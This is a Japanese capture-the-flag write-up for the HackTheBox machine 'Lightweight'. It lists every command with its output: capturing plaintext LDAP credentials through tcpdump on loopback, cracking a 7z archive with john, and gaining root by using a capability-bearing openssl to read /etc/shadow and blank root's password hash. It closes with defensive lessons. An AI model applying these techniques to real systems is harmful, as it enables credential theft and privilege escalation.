Hack The BoxのWriteup(Lightweight)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Lightweight — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/389
→
IP自動SSHアカウント
username=password=自分のIP
→
tcpdump(caps)
loopback LDAP平文捕捉
→
ldapuser2資格情報
su
→
user.txt ✓
→
backup.7z crack
john “delete”
→
ldapuser1資格情報
status.php
→
openssl(=ep caps)
/etc/shadow 読み書き
→
su -l root
空パスワード
→
root.txt ✓

Nmap バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80,389 10.129.95.236
RESULT
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) ... PHP/5.4.16)
|_http-title: Lightweight slider evaluation page - slendr
389/tcp open   ldap    OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=lightweight.htb
🚨
重要発見: OpenLDAP(389)とSSHの組み合わせから、 「Webアプリ経由でLDAP資格情報を窃取する」という攻撃チェーンが 想定される。
PHASE 2

Webページの案内に従い、IPアドレスでSSHログイン

user.php の案内を確認

BASH
curl -s http://10.129.95.236/user.php
RESULT
<h1>Your account</h1>
<p>This server lets you get in with ssh. Your IP (10.10.15.200) is
automatically added as userid and password within a minute of your first
http page request. We strongly suggest you to change your password
as soon as you get in the box.</p>
🚨
重要発見: このページ(あるいは何らかのページ)への 初回アクセスから1分以内に、アクセス元IPアドレスがSSHの ユーザーID兼パスワードとして自動的に作成される。

1分待機してSSHログイン

BASH
# 自分のIPでアカウントが作成されるまで約1分待つ
sleep 65
ssh -l 10.10.15.200 10.129.95.236
# パスワード: 10.10.15.200 (ユーザー名と同じIPアドレス文字列)
RESULT
uid=1004(10.10.15.200) gid=1004(10.10.15.200) groups=1004(10.10.15.200)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
✅
ログイン成功! アクセス元IPアドレスがそのままLinuxの ユーザー名として作成されている。

capability付きバイナリの確認

BASH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
getcap -r / 2>/dev/null
RESULT
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
ℹ️
tcpdump に cap_net_admin,cap_net_raw+ep が付与されているため、一般ユーザーでも任意のネットワーク インターフェース(loopback含む)でパケットキャプチャが可能。
PHASE 3

loopback上のLDAP平文認証をtcpdumpで捕捉

status.php が裏で遅いLDAPクエリを実行することを確認

BASH
time curl -s http://10.129.95.236/status.php -o /dev/null
RESULT
real    0m36.059s   ← 異常に遅い
ℹ️
status.php へのリクエストが毎回30秒以上かかる。 バックグラウンドで何らかのローカルプロセス(LDAPクエリ)を起動して いる可能性が高い。

tcpdumpでloopbackを記録しつつstatus.phpを連打

BASH
# SSHセッション側: loopbackの389番ポートを記録
tcpdump -nni lo -w /tmp/capture.pcap port 389

# 別端末(Kali側): status.phpを数回リクエストしてLDAPクエリを誘発
for i in 1 2 3 4 5 6; do
  curl -s http://10.129.95.236/status.php -o /dev/null
  sleep 10
done
BASH
# キャプチャ終了後、pcapを回収
scp 10.10.15.200@10.129.95.236:/tmp/capture.pcap .
tshark -r capture.pcap -Y ldap
RESULT
bindRequest(1) "uid=ldapuser2,ou=People,dc=lightweight,dc=htb" simple
bindResponse(1) success
unbindRequest(2)
BASH
tshark -r capture.pcap -Y "ldap.protocolOp == 0" -T fields -e ldap.name -e ldap.simple
RESULT
uid=ldapuser2,ou=People,dc=lightweight,dc=htb	8bc8251332abe1d7f105d3e53ad39ac2
✅
平文パスワード捕捉成功! LDAPSではなく平文LDAPで simple bindが行われているため、loopbackをキャプチャするだけで ldapuser2 の資格情報が丸見えになる。
ldapuser2 資格情報 (tcpdumpで捕捉)
ldapuser2 : 8bc8251332abe1d7f105d3e53ad39ac2
PHASE 4

ldapuser2へsu → user.txt 取得

su でユーザー切り替え

NOTE
ldapuser2 はログインシェルは有効だがSSHでの直接ログインは許可されて
いない (パスワード認証がSSH経由では拒否される設定)。自動作成ユーザーから
suで切り替える必要がある。
BASH
[10.10.15.200@lightweight ~]$ su -l ldapuser2
Password: 8bc8251332abe1d7f105d3e53ad39ac2
RESULT
[ldapuser2@lightweight ~]$

user.txt 取得とホームディレクトリの確認

BASH
[ldapuser2@lightweight ~]$ ls -la
[ldapuser2@lightweight ~]$ cat user.txt
RESULT
backup.7z  OpenLDAP-Admin-Guide.pdf  OpenLdap.pdf  user.txt

e38edcb779629233225ab7d77f8c2f15
user.txt — ldapuser2
e38edcb779629233225ab7d77f8c2f15
PHASE 5

backup.7z をクラック → ldapuser1 資格情報を発見

backup.7z を回収 (ホームディレクトリの権限に注意)

NOTE
ldapuser2のホームディレクトリはdrwx------のため、自動作成ユーザーから
直接scpできない。su先のシェル内で/tmpへ権限を緩めてコピーする2段階が
必要。
BASH
[ldapuser2@lightweight ~]$ cp backup.7z /tmp/backup_copy.7z && chmod 644 /tmp/backup_copy.7z

# Kali側: 自動作成ユーザーのSSHでscp
scp 10.10.15.200@10.129.95.236:/tmp/backup_copy.7z .

7z2john + john でクラック

BASH
7z2john backup_copy.7z > backup.hash
john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash
john --show backup.hash
RESULT
Loaded 1 password hash (7z, 7-Zip archive encryption)
backup_copy.7z:delete

1 password hash cracked, 0 left

展開してstatus.phpのソースを確認

BASH
7z x -obackup -pdelete backup_copy.7z
grep -A1 "username\|password" backup/status.php
RESULT
$username = 'ldapuser1';
$password = 'f3ca9d298a553da117442deeb6fa932d';
...
if ($bind=ldap_bind($ds, $dn, $password)) {
✅
発見成功! status.phpのLDAP bind処理に ldapuser1 の平文パスワードがハードコードされている。
ldapuser1 資格情報 (PHPソースから発見)
ldapuser1 : f3ca9d298a553da117442deeb6fa932d
PHASE 6

openssl(=ep caps) で /etc/shadow 書き換え → root.txt

ldapuser1へsu → capability付きopensslを発見

BASH
[10.10.15.200@lightweight ~]$ su -l ldapuser1
Password: f3ca9d298a553da117442deeb6fa932d
[ldapuser1@lightweight ~]$ ls -la
[ldapuser1@lightweight ~]$ getcap -r / 2>/dev/null
RESULT
-rwxr-xr-x. 1 ldapuser1 ldapuser1 555296 openssl
-rwxr-xr-x. 1 ldapuser1 ldapuser1 942304 tcpdump
...
/home/ldapuser1/openssl =ep
🚨
重大発見: ホームディレクトリのローカルコピーの openssl に =ep (全capability付与) が 設定されている。これは実質的にCAP_DAC_OVERRIDE等を含む全権限を持ち、 ファイルの読み書き権限チェックを一般ユーザーでもバイパスできることを 意味する。

openssl の暗号化/復号往復で /etc/shadow を読み取る

BASH
[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -a -salt -in /etc/shadow -out shadow.enc -k lwpass
[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -d -a -in shadow.enc -out shadow.dec -k lwpass
[ldapuser1@lightweight ~]$ cat shadow.dec
RESULT
root:$6$eVOz8tJs$xpjymy5BFFeCIHq9a.BoKZeyPReKd7pwoXnxFNOa7TP5ltNmSDsiyuS/ZqTgAGNEbx5jyZpCnbf8xIJ0Po6N8.:17711:0:99999:7:::
bin:*:17632:0:99999:7:::
...
ldapuser1:$6$OZfv1n9v$...:17691:365:99999:7:::
ldapuser2:$6$xJxPjT0M$...:17691:365:99999:7:::
10.10.15.200:yqCuLn/GY8NIk:20732:0:99999:7:::
✅
読み取り成功! 本来ldapuser1に読み取り権限が無い /etc/shadow の内容が丸見えになる。rootのハッシュは 複雑なためrockyouではクラックできない想定(実際にも未クラック)。

rootのハッシュフィールドを空にして書き戻す

NOTE
/etc/shadowの2番目のフィールド(パスワードハッシュ)を空文字にすると、
Linux標準のPAM/crypt(3)仕様上「パスワード不要」として扱われる。
rootの複雑なパスワードを解読する代わりに、このフィールドそのものを
書き換えてしまう。
BASH
[ldapuser1@lightweight ~]$ sed -i 's/^root:[^:]*:/root::/' shadow.dec
[ldapuser1@lightweight ~]$ head -1 shadow.dec
RESULT
root::17711:0:99999:7:::
BASH
# 書き換えた内容を再暗号化し、同じ往復で /etc/shadow へ上書き
[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -a -salt -in shadow.dec -out shadow_mod.enc -k lwpass
[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -d -a -in shadow_mod.enc -out /etc/shadow -k lwpass
⚠️
-out /etc/shadow は通常rootしか書き込めない対象だが、 openssl自体が全capability(=ep)を持つため、open()の 権限チェックを内部的にバイパスして書き込める。素のユーザー (head -1 /etc/shadow等)では依然 “Permission denied” のままであることから、ファイル自体の権限(600)は変わっていない ことがわかる — opensslの実効権限だけが特別扱いされている。

空パスワードで su -l root → root.txt

BASH
[ldapuser1@lightweight ~]$ su -l root
RESULT
Last login: Tue Oct  6 08:29:29 BST 2026 on pts/0
[root@lightweight ~]#
✅
root化成功! パスワードプロンプト自体が一切表示されず (空文字列のパスワードフィールドは認証不要として扱われる)、 直接rootのシェルに切り替わる。
BASH
[root@lightweight ~]# id
[root@lightweight ~]# cat /root/root.txt
RESULT
uid=0(root) gid=0(root) groups=0(root)
acd59f0a6924c4f2b2af1558f189de97
root.txt — root@lightweight
acd59f0a6924c4f2b2af1558f189de97
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — ldapuser2
e38edcb779629233225ab7d77f8c2f15
root.txt — root@lightweight
acd59f0a6924c4f2b2af1558f189de97

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
IPアドレスをユーザー名兼パスワードに使用 Webアプリの自動アカウント作成機能 任意の訪問者がSSHで初期アクセス可能 Medium Webページ訪問後1分以内に自分のIPでSSHログイン可能
tcpdumpへの過剰なcapability付与 /usr/sbin/tcpdump (cap_net_admin,cap_net_raw+ep) 一般ユーザーによるloopback平文通信の傍受 High status.phpが誘発するLDAP平文simple bindをtcpdumpで捕捉
平文LDAP (非TLS) でのサービスアカウント認証 status.phpのLDAP bind処理 LDAPサービスアカウント資格情報の漏洩 Medium LDAPS(TLS)を使わずloopback経由で平文simple bindを実行
opensslバイナリへの全capability付与 /home/ldapuser1/openssl (=ep) 任意ファイルの読み書き (権限チェックバイパス) Critical /etc/shadowを暗号化/復号往復で読み書きし、rootのパスワードハッシュを空に書き換え

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap -sV -sC22(SSH)/80(HTTP)/389(LDAP)
2初期アクセスWebページ案内のIP自動SSHアカウント自分のIP(10.10.15.200)でSSH成功
3資格情報捕捉tcpdump(caps) + status.php連打ldapuser2:8bc8251332abe1d7f105d3e53ad39ac2
4横移動su -l ldapuser2user.txt
5追加資格情報backup.7z (7z2john+john) + status.phpソースldapuser1:f3ca9d298a553da117442deeb6fa932d
6権限昇格openssl(=ep caps)で/etc/shadow書き換え + su -l rootroot.txt

学んだ教訓 & 防御策

問題点防御策
接続元IPアドレスのみでSSHアカウントを自動作成する認証方式 IPアドレスのような推測・偽装可能な値を認証情報に使わない。正当なID発行プロセスを設ける。
一般ユーザーに付与されたtcpdumpのcapabilityが広すぎる 必要最小限のcapabilityのみ付与し、CAP_NET_RAWが必要なツールは管理者のみに制限する。
サービスアカウントがLDAPSを使わず平文でLDAP bindしている LDAP通信は必ずSTARTTLS/LDAPSで暗号化する。loopback内であっても平文通信を信用しない。
opensslのようなユーティリティバイナリに全capabilityを付与 汎用ツールに特権capabilityを付与しない。必要ならば用途を限定した専用の小さなヘルパーバイナリを作り、そちらにのみ必要最小限のcapabilityを与える。
HackTheBox: Lightweight | 完全攻略レポート